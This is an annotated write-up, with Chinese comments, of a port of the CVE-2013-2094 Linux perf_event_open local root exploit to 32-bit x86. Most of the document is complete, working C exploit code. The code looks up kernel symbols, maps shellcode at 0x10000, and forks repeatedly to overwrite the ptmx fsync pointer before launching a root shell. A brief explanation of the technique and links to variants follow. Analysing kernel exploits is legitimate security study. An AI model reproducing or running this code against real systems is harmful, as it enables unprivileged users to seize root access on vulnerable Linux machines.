CVE-2013-2094 porting to x86-32 分析

/*
* linux 2.6.37-3.8.8 - x86
* @rikiji
*
* requires System.map and /dev/ptmx
* this: http://zmbs.net/~rikiji/perf_ptmx.c
* original: http://fucksheep.org/~sd/warez/semtex.c
*/

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
#include <stdint.h>
#include <linux/perf_event.h>
#include <asm/unistd.h>

#define SYSMAP_PREFIX "/boot/System.map-"
#define PAGE_SIZE 4096

unsigned long commit_creds = 0;
unsigned long prepare_kernel_cred = 0;

#define OFFSET_PREP 3
#define OFFSET_COMM 10
char shellcode [] = "x31xc0xbbx04x03x02x01xffxd3xbbx08x07x06x05xffxd3xc3";
/*
xor eax,eax	
mov ebx,0x1020304	
call ebx	
mov ebx,0x5060708	;char* src = arg[1]
call ebx	
ret	 ; char c = src[i]

*/
unsigned long getsym(char * sym)
{
char s[256] = { 0 };
int fd = open("/proc/version", O_RDONLY);
read(fd, s, sizeof(s));
strtok(s, " ");
strtok(NULL, " ");
char * version = strtok(NULL, " ");
close(fd);

int len = strlen(version) + strlen(SYSMAP_PREFIX) + 1;
char * mapf = malloc(len);
memset(mapf, 0, len);
strncpy(mapf, SYSMAP_PREFIX, strlen(SYSMAP_PREFIX));
strncpy(mapf + strlen(SYSMAP_PREFIX), version, strlen(version));

fd = open(mapf, O_RDONLY);

#define BUFSIZE 1024
char * buf = malloc(BUFSIZE + 1);
buf[BUFSIZE] = 0;
int partial = 0, found = 0;
char addr[9];

while(!found) {
read(fd, buf, BUFSIZE); 
char * tok = strtok(buf," 
");

while(tok != NULL) {
int n = strlen(tok);
if(partial) {
if(strncmp(sym + partial, tok, n) == 0) {
found = 1;
break;
} else {
partial = 0;	
}
} else {
if(strncmp(sym, tok, n) == 0) {
strncpy(addr, tok - 11, 9);
if(n < strlen(sym) && (tok + n == buf + BUFSIZE)) {
partial = n;
break;	
}
if(n == strlen(sym)) {
found = 1;
break;
}
}
}
tok = strtok(NULL," 
");
}
} 
close(fd);

printf("%s: 0x%s
", sym, addr);
return strtoul(addr, NULL, 16); 
}

int main(int argc, char ** argv) 
{
unsigned long perf_table = getsym("perf_swevent_enabled");
commit_creds = getsym("commit_creds");
prepare_kernel_cred = getsym("prepare_kernel_cred");
unsigned long pmtx_ops = getsym("ptmx_fops");

*((unsigned int *)(shellcode + OFFSET_PREP)) = prepare_kernel_cred;
*((unsigned int *)(shellcode + OFFSET_COMM)) = commit_creds;

int s;
for(s=0;s<sizeof(shellcode);s++)
printf("%02x ", (unsigned char)shellcode[s]); 
printf("
");

/* 56 is offset of fsync in struct file_operations */
int target = pmtx_ops + 56; //it's Null value 
int payload = -((perf_table - target)/4);
printf("payload: 0x%x
", payload);

unsigned long base_addr = 0x10000;
char * map = mmap((void *)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0);

if(map == MAP_FAILED)
perror("mmap"); 

memcpy(map, shellcode, 0x30);

struct perf_event_attr event_attr;
memset(&event_attr, 0, sizeof(struct perf_event_attr));
event_attr.type = 1;
event_attr.size = sizeof(struct perf_event_attr); 
event_attr.config = payload;

int times = base_addr; //為了繞過 sysctl -w vm.mmap_min_addr = 65536 (=0x10000)
int i = 0, k;

#define BLOCK 256 // 65536 = 256 * 256, shellcode放在0x10000 (=65536), 為了改寫[pmtx_ops + 56]的值成0x10000
while(times - i > 0) { //65536-0 , 65536-256*1, 65536-256*2,...,65536-256*256 總共做65536次的+1
printf("i %d
", i);
if(times - i > BLOCK) {
if(fork()) {	//parent & child both run after fork(), 所以說child process每次都從此開始
//parent process
for(k=0;k<BLOCK;k++){
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
//跳到[pmtx_ops + 56] + 256,之後去等待，換child process執行，
//會跳到while又再fork出一個child process做[pmtx_ops + 56] + 256...依此類推。
if (fd < 0) { perror("perf_event_open child"); }}

pause(); //等child
exit(0);
}
//child process
i += BLOCK;
} else { //times - i == BLOCK的情況，即65536-256*255 == 256, 以下為最後一個256次。由while(times - i > 0)停止。
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
if (fd < 0) {
perror("perf_event_open");
sleep(1);
}
i++; //256*255+1
} 
}

int ptmx = open("/dev/ptmx", O_RDWR);
fsync(ptmx);

if(getuid()) {
printf("failed");
return -1;
}

printf("root!!");
execl("/bin/sh", "sh", NULL);

return 0;
}

　　"An idea from /u/spender is to call multiple times perf_event_open while keeping the file descriptors open, avoiding the destroy callback which will revert the change done in the init function. In this way is possible to increment a value in kernel space multiple times. This has the drawback of the process hitting the maximum number of open file descriptors allowed very fast, so some forking is required. I browsed a bit the kernel source to find a function pointer initialized to zero which was not stored in read only memory, and I chose to leverage drivers/tty/pty.c, a driver for ptmx devices, which is enabled in the default Debian kernel and has struct file_operations ptmx_fops, which has some NULL pointers and more importantly is not in read only memory."

sw_perf_event_destroy (i.e. destroy callback)

 但是，linux系统中单个进程能够打开的file descriptor数量是有限制的，所以需要fork出足够多的进程，反复修改。可用ulimit -n查詢，一般來說是1024

http://pastebin.com/xdqEbhYR (查找system.map版)

http://pastebin.com/mMn3QvuR (查找/proc/kallsyms版)

ref. http://rikiji.it/2013/05/10/CVE-2013-2094-x86.html